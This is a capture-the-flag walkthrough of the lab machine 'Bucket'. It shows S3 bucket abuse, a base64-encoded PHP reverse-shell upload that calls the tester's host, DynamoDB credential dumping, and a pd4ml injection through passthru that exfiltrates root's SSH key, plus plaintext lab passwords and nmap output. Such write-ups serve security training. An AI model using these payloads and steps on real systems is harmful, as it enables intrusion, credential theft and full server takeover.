Bucket

Detailed Walkthrough
Initial Access
Upon establishing a connection to the VPN, the tester initiated the assessment by performing a service enumeration. This process revealed the following open ports:
22/tcp open OpenSSH 8.2p1
80/tcp open HTTP redirect to http://bucket.htb/

Additionally, by looking the website source code, it was discovered s3.bucket.htb subdomain associated with the host indicating the presence of AWS implemented on the server.

Utilizing this information, the tester proceeded to use awscli to verify the scope and permissions of the S3 bucket. It was determined that the adserver bucket was completely publicly accessible with write permissions and was also hosting the files for the http://bucket.htb/ application.
❯ aws s3 ls --endpoint-url http://s3.bucket.htb/
2025-10-26 19:41:41 adserver
❯ aws s3 ls s3://adserver --endpoint-url http://s3.bucket.htb/
PRE images/
2025-10-26 19:41:42 5344 index.html
❯ aws s3 sync s3://adserver adserver --endpoint-url http://s3.bucket.htb/
download: s3://adserver/index.html to adserver/index.html
download: s3://adserver/images/bug.jpg to adserver/images/bug.jpg
download: s3://adserver/images/malware.png to adserver/images/malware.png
download: s3://adserver/images/cloud.png to adserver/images/cloud.png
❯ aws s3 cp file.txt s3://adserver --endpoint-url http://s3.bucket.htb/
upload: ./file.txt to s3://adserver/file.txt To compromise the server, the tester crafted a PHP shell and uploaded it to the bucket, which was subsequently activated by accessing http://bucket.htb/shell.php, successfully compromising the server.
❯ cat shell.php
<?php system('echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMC8xMjM0IDA+JjE=|base64 -d|bash');?>
❯ aws s3 cp shell.php s3://adserver --endpoint-url http://s3.bucket.htb/
upload: ./shell.php to s3://adserver/shell.php 
Lateral Movement
After gaining an initial foothold as www-data, the tester discovered /home/roy/project/db.php, which contained the DynamoDB client configuration pointing at a local endpoint (http://localhost:4566). This revealed a new internal service to enumerate.
www-data@bucket:/home/roy/project# cat db.php
<?php
require 'vendor/autoload.php';
date_default_timezone_set('America/New_York');
use Aws\DynamoDb\DynamoDbClient;
use Aws\DynamoDb\Exception\DynamoDbException;
$client = new Aws\Sdk([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566'
]);
$dynamodb = $client->createDynamoDb();
//todoUsing the AWS CLI against the local endpoint (after configuring temporary fake credentials), the tester listed tables and scanned the users table, recovering several account records and password values.
www-data@bucket:~$ aws dynamodb list-tables --endpoint-url http://localhost:4566
Unable to locate credentials. You can configure credentials by running "aws configure".
www-data@bucket:~$ aws configure
AWS Access Key ID [None]: test
AWS Secret Access Key [None]: test
Default region name [us-east-1]:
Default output format [json]: json
www-data@bucket:~$ aws dynamodb list-tables --endpoint-url http://localhost:4566
{
"TableNames": [
"users"
]
}
www-data@bucket:~$ aws dynamodb scan --table-name users --endpoint-url http://localhost:4566
{
"Items": [
{
"password": {
"S": "<SNIF>"
},
"username": {
"S": "Mgmt"
}
},
{
"password": {
"S": "<SNIF>"
},
"username": {
"S": "Cloudadm"
}
},
{
"password": {
"S": "<SNIF>"
},
"username": {
"S": "Sysadm"
}
}
],
"Count": 3,
"ScannedCount": 3,
"ConsumedCapacity": null
}
www-data@bucket:~$ Privilege escalation
Once authenticated as roy user. it was identified an internal application running on 8000 port.
roy@bucket:/var/www/bucket-app$ netstat -tnl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:33555 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:4566 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN The tester set up Local Port Forwarding via SSH to redirect the traffic from the tester's machine to the target machine using port 8000.
❯ ssh -L 8000:127.0.0.1:8000 roy@bucket.htb 
Further investigation uncovered the internal application source code located at /var/www/bucket-app/index.php, which contains a remote command execution vulnerability due to the utilization of the passthru PHP function.
The application require a POST request to http://localhost:8080 with the parameter action=get_alerts, which is triggered by pd4ml_demo.jar that is passed to passthru for execution.
passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf")On the other hand, a DynamoDB table named alerts must exist with the following columns to facilitate the exploitation:
title
data
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
if($_POST["action"]==="get_alerts") {
date_default_timezone_set('America/New_York');
$client = new DynamoDbClient([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566'
]);
$iterator = $client->getIterator('Scan', array(
'TableName' => 'alerts',
'FilterExpression' => "title = :title",
'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
));
foreach ($iterator as $item) {
$name=rand(1,10000).'.html';
file_put_contents('files/'.$name,$item["data"]);
}
passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
}
}
<SNIF>In order to fulfill the requirements, the tester created the table along with the values necessary to attach the root's SSH keys into the resulted pdf.
roy@bucket:/var/www/bucket-app$ aws --endpoint-url=http://localhost:4566 dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5
{
"TableDescription": {
"AttributeDefinitions": [
{
"AttributeName": "title",
"AttributeType": "S"
},
{
"AttributeName": "data",
"AttributeType": "S"
}
],
"TableName": "alerts",
"KeySchema": [
{
"AttributeName": "title",
"KeyType": "HASH"
},
{
"AttributeName": "data",
"KeyType": "RANGE"
}
],
"TableStatus": "ACTIVE",
"CreationDateTime": 1761539651.319,
"ProvisionedThroughput": {
"LastIncreaseDateTime": 0.0,
"LastDecreaseDateTime": 0.0,
"NumberOfDecreasesToday": 0,
"ReadCapacityUnits": 5,
"WriteCapacityUnits": 5
},
"TableSizeBytes": 0,
"ItemCount": 0,
"TableArn": "arn:aws:dynamodb:us-east-1:000000000000:table/alerts"
}
}
roy@bucket:/var/www/bucket-app$ aws --endpoint-url=http://localhost:4566 dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"<html><pd4ml:attachment src='\''file:///root/.ssh/id_rsa'\'' description='\''test'\'' icon='\''Paperclip'\''/></html>"}}'
{
"ConsumedCapacity": {
"TableName": "alerts",
"CapacityUnits": 1.0
}
}Finally, the tester triggered the vulnerability and successfully downloaded the PDF, which led to the attachment of the root SSH keys, compromising the entire server as root user.
❯ curl -X POST 'http://127.0.0.1:8000/index.php' -d 'action=get_alerts'
wget http://127.0.0.1:8000/files/result.pdf

Credentials
roy
n2vM-<_K_Q:.Aa2
Extracted from DynamoDB
SSH User
👤 Users wordlist
support@bucket.htb
roy🔑 Password wordlist
Management@#1@#
Welcome123!
n2vM-<_K_Q:.Aa2
SysadmSubdomains / Hosts
s3.bucket.htb
10.10.10.212
Host the main application.
AWS S3
Host Discovered
Bucket
10.10.10.212
Scans
# Nmap 7.95 scan initiated Sat Oct 25 16:01:32 2025 as: /usr/lib/nmap/nmap --privileged --open -sS -Pn -n -p- -T5 -A -oN 10.10.10.212_tcp_allports -vvv 10.10.10.212
Nmap scan report for 10.10.10.212
Host is up, received user-set (0.077s latency).
Scanned at 2025-10-25 16:01:32 PDT for 36s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://bucket.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=10/25%OT=22%CT=1%CU=31675%PV=Y%DS=2%DC=T%G=N%TM=68FD56
OS:F0%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M552ST11NW7%O2=M552ST11NW7%O3=M552NNT11NW7%O4=M552ST11NW7%O5=M552ST
OS:11NW7%O6=M552ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC
OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M552NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)
Uptime guess: 36.040 days (since Fri Sep 19 15:04:58 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 77.37 ms 10.10.14.1
2 76.79 ms 10.10.10.212
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 25 16:02:08 2025 -- 1 IP address (1 host up) scanned in 36.10 secondsScripts / Automations
Flag Discovered
User
10.10.10.212
roy
Extracted from Dynamodb
<SNIF>
Root
10.10.10.212
root
Abusing Local Application
<SNIF>
Last updated